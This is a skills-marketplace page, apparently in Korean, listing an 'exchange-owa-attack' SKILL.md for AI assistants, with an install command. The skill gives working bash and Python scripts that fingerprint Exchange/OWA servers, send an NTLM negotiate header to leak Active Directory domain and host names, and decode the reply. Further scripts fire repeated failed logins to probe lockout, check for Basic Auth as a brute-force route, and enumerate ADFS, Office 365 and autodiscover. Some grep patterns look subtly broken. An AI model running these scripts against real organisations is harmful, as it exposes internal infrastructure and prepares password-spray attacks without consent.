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- 2026년 7월 30일 00:23
- 감지된 SKILL.md 언어
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설치 방법
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소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/uphiago/recon-skills --skill exchange-owa-attack명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
| name | exchange-owa-attack |
| description | Exchange/OWA NTLM AD leak, spray attack when mail subdomain. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","exchange","OWA","NTLM","ActiveDirectory","password-spray"] |
| category | recon |
| related_skills | ["port-service-discovery","zimbra-attack","subdomain-enumeration"] |
Exchange Outlook Web Access reconnaissance covering endpoint mapping, NTLM Type-2 metadata, authentication controls, and version evidence. Password or lockout testing requires explicit authorization and approved identities.
owa., mail., webmail., exchange., or autodiscover. subdomains.mail.domain.com, autodiscover.domain.com).WWW-Authenticate: Negotiate or WWW-Authenticate: NTLM.subdomain-enumeration discovers mail-related hosts.port-service-discovery finds HTTPS on port 443 with Exchange fingerprints.terminal with curl, python3.# Quick Exchange detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/owa/" | grep -iE "x-owa-version|x-feserver|exchange|microsoft"
# NTLM challenge capture (AD domain leak)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/owa/" -H "Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" | grep -i "www-authenticate"
| Technique | What It Reveals | Severity |
|---|---|---|
| NTLM Type-2 decode | AD domain, NetBIOS name, computer name, AD timestamp | High |
| OWA version header | Exchange version, CU level, patch status | Medium |
/owa/auth/logon.aspx | Login page, brute force surface | Medium |
/ecp/ | Exchange Control Panel (admin) | High |
/ews/ |
| Exchange Web Services (SOAP API) |
| Medium |
/autodiscover/ | Autodiscover configuration | Medium |
/mapi/ | MAPI over HTTP | Low |
/Microsoft-Server-ActiveSync | Mobile device sync | Medium |
/rpc/ | Outlook Anywhere (RPC over HTTP) | Low |
TARGET="$1"
OUTDIR="$OUTDIR/exchange"
mkdir -p "$OUTDIR"
echo "[*] Exchange detection on $TARGET"
# OWA probe
OWA_RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/owa/" 2>/dev/null)
echo "$OWA_RESP" > "$OUTDIR/owa_headers.txt"
# Version extraction
X_OWA=$(echo "$OWA_RESP" | grep -i "x-owa-version" | sed 's/.*: //')
X_FE=$(echo "$OWA_RESP" | grep -i "x-feserver" | sed 's/.*: //')
if [[ -n "$X_OWA" ]]; then
echo "[+] Exchange confirmed — OWA Version: $X_OWA"
echo " Frontend server: ${X_FE:-unknown}"
# Map version to CU
# 15.1.x = Exchange 2016, 15.2.x = Exchange 2019
MAJOR=$(echo "$X_OWA" | cut -d. -f1-2)
if [[ "$MAJOR" == "15.1" ]]; then
echo " Product: Exchange 2016"
elif [[ "$MAJOR" == "15.2" ]]; then
echo " Product: Exchange 2019"
fi
else
echo "[-] No OWA version header — may not be Exchange"
fi
# Key endpoints probe
declare -A EX_ENDPOINTS
EX_ENDPOINTS["/owa/auth/logon.aspx"]="Login page"
EX_ENDPOINTS["/ecp/"]="Exchange Control Panel (admin)"
EX_ENDPOINTS["/ews/exchange.asmx"]="Exchange Web Services (SOAP)"
EX_ENDPOINTS["/autodiscover/autodiscover.xml"]="Autodiscover"
EX_ENDPOINTS["/mapi/emsmdb/"]="MAPI over HTTP"
EX_ENDPOINTS["/Microsoft-Server-ActiveSync/"]="ActiveSync"
EX_ENDPOINTS["/rpc/rpcproxy.dll"]="Outlook Anywhere"
EX_ENDPOINTS["/owa/healthcheck.htm"]="Health check"
echo ""
echo "[*] Endpoint probe:"
for ep in "${!EX_ENDPOINTS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$ep")
[[ "$code" == "200" ]] && echo " [OPEN] $ep — ${EX_ENDPOINTS[$ep]}"
[[ "$code" == "302" ]] && echo " [REDIR] $ep — ${EX_ENDPOINTS[$ep]}"
[[ "$code" == "401" ]] && echo " [AUTH] $ep — ${EX_ENDPOINTS[$ep]}"
done
TARGET="$1"
echo "[*] NTLM challenge capture from $TARGET"
# Send NTLM Type-1 (Negotiate) message via Authorization header
NTLM_RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/owa/" \
-H "Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" 2>/dev/null)
WWW_AUTH=$(echo "$NTLM_RESP" | grep -i "www-authenticate: negotiate" | sed 's/.*negotiate //i' | tr -d '\r\n ')
if [[ -n "$WWW_AUTH" ]]; then
echo "[+] NTLM Type-2 challenge received!"
echo " Raw: ${WWW_AUTH:0:80}..."
# Decode with Python (extract AV_PAIRS structure)
echo "$WWW_AUTH" | python3 -c "
import base64, struct, sys
data = base64.b64decode(sys.stdin.read().strip())
# NTLM Type-2 message structure:
# Offset 12: Target Name
# Offset 16: Negotiate Flags
# Offset 20: Server Challenge
# Offset 28: Reserved
# Offset 32: Target Info (AV_PAIRS)
# Parse Target Info
if len(data) > 40:
target_info_offset = struct.unpack_from('<I', data, 40)[0]
target_info_len = struct.unpack_from('<I', data, 44)[0]
av_pairs = data[target_info_offset:target_info_offset + target_info_len]
print()
print('=== NTLM Type-2 Decoded ===')
pos = 0
while pos < len(av_pairs) - 4:
av_type = struct.unpack_from('<H', av_pairs, pos)[0]
av_len = struct.unpack_from('<H', av_pairs, pos + 2)[0]
av_value = av_pairs[pos + 4:pos + 4 + av_len]
# AV_PAIR types
types = {
1: 'NetBIOS Computer Name',
2: 'NetBIOS Domain Name',
3: 'DNS Computer Name',
4: 'DNS Domain Name',
5: 'DNS Tree Name',
6: 'Product Version',
7: 'Timestamp',
}
label = types.get(av_type, f'Unknown({av_type})')
if av_type in (1, 2, 3, 4, 5):
value = av_value.decode('utf-16-le', errors='replace')
print(f' {label}: {value}')
elif av_type == 7:
ts = struct.unpack_from('<Q', av_value)[0]
from datetime import datetime, timezone
dt = datetime.fromtimestamp(ts / 10000000 - 11644473600, tz=timezone.utc)
print(f' Timestamp: {dt}')
else:
print(f' {label}: {av_value.hex()}')
pos += 4 + av_len
else:
print(' No AV_PAIRS in response')
"
fi
TARGET="$1"
echo "[*] Password spray surface assessment"
# Check for account lockout by testing rapid logins with invalid password
echo "[*] Rate limiting test (5 rapid attempts with wrong password)..."
for i in $(seq 1 5); do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
-X POST "https://$TARGET/owa/auth.owa" \
-d "destination=https://$TARGET/owa/&username=testuser$i@domain.com&password=WrongPass123!" 2>/dev/null)
echo " Attempt $i: HTTP $code"
done
# Check if Basic Auth is enabled (rare post-2022, but exists)
BASIC_AUTH=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/owa/" \
-H "Authorization: Basic dGVzdDp0ZXN0" 2>/dev/null | grep -i "www-authenticate.*basic")
if [[ -n "$BASIC_AUTH" ]]; then
echo " [!] Basic Auth ENABLED — easier brute force vector"
fi
# Check healthcheck endpoint (sometimes exposes version/config)
HEALTH=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/owa/healthcheck.htm" 2>/dev/null)
if [[ -n "$HEALTH" ]] && echo "$HEALTH" | grep -qi "200 ok"; then
echo " [+] Healthcheck accessible — server status exposed"
fi
TARGET_DOMAIN="$1" # e.g., company.com
echo "[*] ADFS/Office 365 recon on $TARGET_DOMAIN"
# Check for ADFS
ADFS_URL="https://sts.$TARGET_DOMAIN/adfs/ls/IdpInitiatedSignOn.aspx"
ADFS_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$ADFS_URL")
[[ "$ADFS_CODE" == "200" || "$ADFS_CODE" == "302" ]] && echo " [+] ADFS: $ADFS_URL (HTTP $ADFS_CODE)"
# Check Office 365 tenant
O365_XML=$(curl -sk --max-time 5 --connect-timeout 5 "https://login.microsoftonline.com/getuserrealm.srf?login=user@$TARGET_DOMAIN&xml=1" 2>/dev/null)
if echo "$O365_XML" | grep -qi "Federated\|Managed"; then
echo " [+] Office 365 tenant: $(echo "$O365_XML" | grep -Eo '<NameSpaceType>\K[^<]+')"
echo " $(echo "$O365_XML" | grep -Eo '<DomainName>\K[^<]+')"
fi
# Autodiscover (leaks internal server names)
AUTODISCOVER=$(curl -sk --max-time 10 --connect-timeout 10 "https://autodiscover.$TARGET_DOMAIN/autodiscover/autodiscover.xml" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>user@'$TARGET_DOMAIN'</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>' 2>/dev/null)
if echo "$AUTODISCOVER" | grep -qi "server\|internal"; then
echo " [+] Autodiscover response — internal server names leaked"
echo "$AUTODISCOVER" | grep -Eo '(?:<Server>|<InternalRpcClientServer>|<ASUrl>)[^<]+' | head -5
fi
X-OWA-Version header.password-spray-methodology — Universal password spray pipeline across all protocols + error code differentials